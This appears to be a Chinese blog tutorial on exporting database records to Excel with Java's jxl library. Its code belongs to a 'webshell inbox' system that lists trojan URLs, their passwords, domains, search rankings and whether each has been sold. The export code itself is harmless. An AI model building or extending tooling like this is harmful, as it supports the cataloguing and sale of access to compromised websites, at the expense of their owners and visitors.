使用JAVA将数据库导出到Excel文档

首先将要导出的数据库表的数据封装到一个list集合中,然后循环遍历该list集合

再应用jxl组件将这些数据写入excel文件。

001package com.ybhacker.mailbox.util;002 003import java.io.File;004import java.util.List;005 006import jxl.*;007import jxl.format.Alignment;008import jxl.format.Colour;009import jxl.format.UnderlineStyle;010import jxl.format.VerticalAlignment;011import jxl.write.Label;012import jxl.write.WritableFont;013import jxl.write.WritableSheet;014import jxl.write.WritableWorkbook;015 016import com.ybhacker.mailbox.model.BoxList;017 018/**019 * Excel操作020 * 021 * @author Windows7022 * 023 */024public classExcelOperationUtil {025 026 /**027 * 保存数据内容到excel028 * @param list029 * @param savepath030 * @return031 */032 033 publicboolean readDataToExcelFile(List<BoxList> list, String savepath) {034 try{035 WritableWorkbook book = Workbook.createWorkbook(newFile(savepath));036 WritableSheet sheet = book.createSheet("SHELL",0);037 // 设置字体样式038 jxl.write.WritableFont font =new jxl.write.WritableFont(039 WritableFont.ARIAL,15, WritableFont.BOLD, false,040 UnderlineStyle.NO_UNDERLINE, jxl.format.Colour.GREEN);041 jxl.write.WritableCellFormat cellFormat =new jxl.write.WritableCellFormat(042 font);043 cellFormat.setAlignment(Alignment.CENTRE);044 cellFormat.setVerticalAlignment(VerticalAlignment.CENTRE);// 设置单元格内容两端对齐045 cellFormat.setBackground(Colour.GRAY_25);// 背景颜色046 Label label_title =new Label(0,0, "WEBSHELL收信箱子系统V2.0",047 cellFormat);048 sheet.mergeCells(0,0, 4,0);// 合并第一行的第1个到第5个单元格049 sheet.setRowView(0,600, false);// 设置第一行的行高050 051 Label label_id =new Label(0,1, "ID");052 Label label_url =new Label(1,1, "木马地址");053 Label label_script =new Label(2,1, "脚本类型");054 Label label_pass =new Label(3,1, "密码");055 Label label_host =new Label(4,1, "域名");056 Label label_google =new Label(5,1, "谷歌权重");057 Label label_baidu =new Label(6,1, "百度权重");058 Label label_indexed =new Label(7,1, "收录总数");059 Label label_createtime =new Label(8,1, "创建时间");060 Label label_sell =new Label(9,1, "是否出售");061 062 sheet.setColumnView(4,15);// 设置列宽063 sheet.addCell(label_title);064 sheet.addCell(label_id);065 sheet.addCell(label_url);066 sheet.addCell(label_script);067 sheet.addCell(label_pass);068 sheet.addCell(label_host);069 sheet.addCell(label_google);070 sheet.addCell(label_baidu);071 sheet.addCell(label_indexed);072 sheet.addCell(label_createtime);073 sheet.addCell(label_sell);074 075 for(int i = 0; i < list.size(); i++) {// 遍历数据对象的集合，将所有信息导出到Excel076 BoxList temp = (BoxList) list.get(i);077 String script ="未知";078 String createtime = temp.getnCreateTime().toString();079 if(temp.getnScript() == 1) {080 script ="ASP";081 }082 if(temp.getnScript() == 2) {083 script ="PHP";084 }085 if(temp.getnScript() == 3) {086 script ="ASPX";087 }088 if(temp.getnScript() == 4) {089 script ="JSP";090 }091 String Sell ="正常";092 if(temp.isnSell()) {093 Sell ="已售";094 }095 Label id_value =new Label(0, i +2, temp.getId() + "");096 Label url_value =new Label(1, i +2, temp.getnUrl());097 Label script_value =new Label(2, i +2, script);098 Label pass_value =new Label(3, i +2, temp.getnPass());099 Label host_value =new Label(4, i +2, temp.getnHost());100 Label google_value =new Label(5, i +2, temp.getnGoogle());101 Label baidu_value =new Label(6, i +2, temp.getnBaidu());102 Label indexed_value =new Label(7, i +2, temp.getnIndexed());103 Label createtime_value =new Label(8, i +2, createtime);104 Label sell_value =new Label(9, i +2, Sell);105 106 sheet.addCell(id_value);107 sheet.addCell(url_value);108 sheet.addCell(script_value);109 sheet.addCell(pass_value);110 sheet.addCell(host_value);111 sheet.addCell(google_value);112 sheet.addCell(baidu_value);113 sheet.addCell(indexed_value);114 sheet.addCell(createtime_value);115 sheet.addCell(sell_value);116 117 }118 book.write();119 book.close();120 returntrue;121 } catch (Exception e) {122 System.out.println("异常信息："+ e.getMessage());123 e.printStackTrace();124 returnfalse;125 }126 }127}